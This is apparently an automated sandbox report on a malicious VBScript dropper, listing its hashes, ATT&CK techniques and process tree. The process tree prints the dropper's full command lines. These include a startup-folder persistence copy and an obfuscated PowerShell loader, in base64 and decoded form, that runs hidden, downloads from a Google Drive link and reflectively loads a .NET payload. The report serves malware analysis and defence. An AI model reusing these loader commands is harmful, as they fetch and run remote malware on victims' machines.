cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5

General

Target

caprus.vbs
Size

141KB
MD5

83e4a8c3434c580d29ca7d33cac993b7
SHA1

61d0199df0b239716b08a3921be45cb9ecc015fe
SHA256

cfb4002b3f5ca8f34e62f0d66eeff4cf795b396f4edca390bcaf3a0fd3ced8e5
SHA512

5fda977b553313152b0caff0d80f51225a6cd321b29398f92b2e7dcaa16c1a4bd2a1256885ca73a51232441df932564928137cad1ca6054c5cf0f5bb06c0d518
SSDEEP

3072:/irBgt5pEGw4CvaiYHdtKtbEBFFpRYJO3iYUDQ3k6GL6L1UuXD:bNFp6JO3iYgQhCO3D

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1to6BWNGH3v9BuIxnkwk_gX4W3sCxklk7

exe.dropper

https://drive.google.com/uc?export=download&id=1to6BWNGH3v9BuIxnkwk_gX4W3sCxklk7

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
24	3280	powershell.exe
26	3280	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3476	powershell.exe
4476	powershell.exe
3280	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desvirginar.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desvirginar.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
23	drive.google.com
24	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2144	PING.EXE
3212	cmd.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2144	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3476	powershell.exe
3476	powershell.exe
4476	powershell.exe
4476	powershell.exe
3280	powershell.exe
3280	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeDebugPrivilege	4476	powershell.exe
Token: SeDebugPrivilege	3280	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 412 wrote to memory of 3212	412	WScript.exe	84
PID 412 wrote to memory of 3212	412	WScript.exe	84
PID 3212 wrote to memory of 2144	3212	cmd.exe	86
PID 3212 wrote to memory of 2144	3212	cmd.exe	86
PID 3212 wrote to memory of 3476	3212	cmd.exe	101
PID 3212 wrote to memory of 3476	3212	cmd.exe	101
PID 412 wrote to memory of 4476	412	WScript.exe	102
PID 412 wrote to memory of 4476	412	WScript.exe	102
PID 4476 wrote to memory of 3280	4476	powershell.exe	104
PID 4476 wrote to memory of 3280	4476	powershell.exe	104

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\caprus.vbs"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\caprus.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.ranigrivsed.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3212
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2144
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\caprus.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.ranigrivsed.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNoZUxsaWRbMV0rJFNoZUxsaURbMTNdKyd4JykgKCgnSUhhaW1hZ2VVcmwgPSAwWThodHRwczovJysnL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTF0bzZCVycrJ05HSDN2OUJ1SXhuaycrJ3drX2dYNFczc0N4a2wnKydrNyAwWTg7SUhhd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXMnKyd0ZW0uTmV0LicrJ1dlYkNsaWVudDtJSGFpbWFnZUJ5dGVzJysnID0gSUhhd2ViQ2xpZW50LkRvd25sb2FkRGF0YScrJyhJSGFpbWFnZVVybCk7SUhhaW1hZ2VUZXh0ID0gW1N5cycrJ3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdCcrJ3JpbmcoSUhhaW1hZ2VCeXRlcyk7SUhhc3RhcnRGbGFnID0gMFk4PDxCQVNFNjRfU1RBUlQ+PjBZOCcrJztJSGFlbmRGbGFnID0gMFk4PDxCQVNFNjRfRU5EPj4wWScrJzg7SUhhc3RhcnRJbmRlJysneCA9IElIYWltYWdlVGV4dC5JbmRleE9mKElIYXN0YXJ0RmxhZyk7SUhhZW5kSW5kZXggPSBJSGFpbWFnZVRleHQuSW5kZXhPZihJSGFlbmRGbGFnKTtJSGFzdGFydEluZGV4IC1nZSAwIC1hbmQgSUhhZW5kSW5kZXggLWd0IElIYXN0YXJ0SW5kZXg7SUhhc3RhcnRJbmRleCArPSBJSGFzdGFydEZsYWcuTGVuZ3RoO0lIYWJhc2U2NExlbmd0aCA9IElIYWVuZEluZGV4IC0gSScrJ0hhc3RhcnRJbmRleDtJSGFiYXNlNjRDb21tYW5kJysnICcrJz0gSUhhaW0nKydhZ2VUZXh0LlN1YnN0cmluZyhJSGFzdGFydEluZGV4LCBJSGFiYXNlNjRMZW5ndGgpO0lIYWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKElIYWJhc2U2NENvbW1hbmQuVG8nKydDaGFyJysnQXJyYScrJ3koKSAyVHcgRm9yRWEnKydjaC1PYmplY3QgeyBJSGFfIH0pWy0xLi4tJysnKElIYWJhc2U2NCcrJ0NvbW1hbmQuTGVuZ3RoKV07SUhhY29tbWFuZEJ5dGVzID0nKycgW1N5c3RlbS5Db252ZXInKyd0XTo6RnJvbUJhc2U2NFN0cmluZyhJSGFiYXNlNjRSJysnZXZlcnNlZCk7SUhhbG9hZGVkQScrJ3MnKydzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKElIYWNvbW1hbmRCeXRlcyk7SUhhdmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdlJysndE1ldGhvZCgwWThWQScrJ0knKycwWTgpO0lIYXZhaU1ldGhvZC5JbnZva2UoSUhhbnVsbCwgQCgwWTh0eHQub2NzaUMvcmguZWVyZi5uZScrJ2dhdGFkdGZvcy50cm9wcHVzLW5lZXJjcy8vOnNwdHRoMFk4LCAwWThkZXNhdGl2YWRvMCcrJ1k4LCAwWThkZXNhdGl2YWRvMFk4LCAwWThkZXNhdGl2YWRvMFk4LCAwWThBcHBMYXVuY2gwWTgsIDBZOGRlc2F0aXZhZG8wWTgsIDBZOGRlc2F0aXZhZCcrJ28nKycwWTgsMFk4ZGVzYXRpdmFkbzBZOCwwWThkZXNhdGl2YWRvMFk4LDBZOGRlc2F0aXZhZG8wWTgsMFk4ZGVzYXRpdmFkbzBZOCwwWThkZXNhdGl2YWRvMFk4LDBZODEwWTgsMFk4ZGVzYScrJ3RpdmFkbzBZOCcrJykpOycpLlJlUExBY0UoJzBZOCcsW1N0cmlOR11bQ0hBUl0zOSkuUmVQTEFjRSgoW0NIQVJdNzMrW0NIQVJdNzIrW0NIQVJdOTcpLCckJykuUmVQTEFjRSgnMlR3JyxbU3RyaU5HXVtDSEFSXTEyNCkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4476
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sheLlid[1]+$SheLliD[13]+'x') (('IHaimageUrl = 0Y8https:/'+'/drive.google.com/uc?export=download&id=1to6BW'+'NGH3v9BuIxnk'+'wk_gX4W3sCxkl'+'k7 0Y8;IHawebClient = New-Object Sys'+'tem.Net.'+'WebClient;IHaimageBytes'+' = IHawebClient.DownloadData'+'(IHaimageUrl);IHaimageText = [Sys'+'tem.Text.Encoding]::UTF8.GetSt'+'ring(IHaimageBytes);IHastartFlag = 0Y8<<BASE64_START>>0Y8'+';IHaendFlag = 0Y8<<BASE64_END>>0Y'+'8;IHastartInde'+'x = IHaimageText.IndexOf(IHastartFlag);IHaendIndex = IHaimageText.IndexOf(IHaendFlag);IHastartIndex -ge 0 -and IHaendIndex -gt IHastartIndex;IHastartIndex += IHastartFlag.Length;IHabase64Length = IHaendIndex - I'+'HastartIndex;IHabase64Command'+' '+'= IHaim'+'ageText.Substring(IHastartIndex, IHabase64Length);IHabase64Reversed = -join (IHabase64Command.To'+'Char'+'Arra'+'y() 2Tw ForEa'+'ch-Object { IHa_ })[-1..-'+'(IHabase64'+'Command.Length)];IHacommandBytes ='+' [System.Conver'+'t]::FromBase64String(IHabase64R'+'eversed);IHaloadedA'+'s'+'sembly = [System.Reflection.Assembly]::Load(IHacommandBytes);IHavaiMethod = [dnlib.IO.Home].Ge'+'tMethod(0Y8VA'+'I'+'0Y8);IHavaiMethod.Invoke(IHanull, @(0Y8txt.ocsiC/rh.eerf.ne'+'gatadtfos.troppus-neercs//:sptth0Y8, 0Y8desativado0'+'Y8, 0Y8desativado0Y8, 0Y8desativado0Y8, 0Y8AppLaunch0Y8, 0Y8desativado0Y8, 0Y8desativad'+'o'+'0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y8desativado0Y8,0Y810Y8,0Y8desa'+'tivado0Y8'+'));').RePLAcE('0Y8',[StriNG][CHAR]39).RePLAcE(([CHAR]73+[CHAR]72+[CHAR]97),'$').RePLAcE('2Tw',[StriNG][CHAR]124) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
139f998289793b0fd2ac2b08b93916e1

SHA1
05a931bf9ff51fcd46e1d74a145bf3bb419c81f9

SHA256
cc59f0d83ea67292d29b6e447b04213abb8b7b21f3c115b6c451a4b59ab3b14c

SHA512
8ff6f26ae9d931922d915dd74578009102484e6d71048e206085a370b734917c9cd017e150d9f1dcdb8a457c36ee69ca08695d7acfdd7edfa0f9b06b790c55e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tyt1zxah.zze.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3476-1-0x00007FF886993000-0x00007FF886995000-memory.dmp

Filesize
8KB

Download
memory/3476-2-0x000002177D120000-0x000002177D142000-memory.dmp

Filesize
136KB

Download
memory/3476-12-0x00007FF886990000-0x00007FF887451000-memory.dmp

Filesize
10.8MB

Download
memory/3476-13-0x00007FF886990000-0x00007FF887451000-memory.dmp

Filesize
10.8MB

Download
memory/3476-14-0x00007FF886990000-0x00007FF887451000-memory.dmp

Filesize
10.8MB

Download
memory/3476-17-0x00007FF886990000-0x00007FF887451000-memory.dmp

Filesize
10.8MB

Download

Analysis

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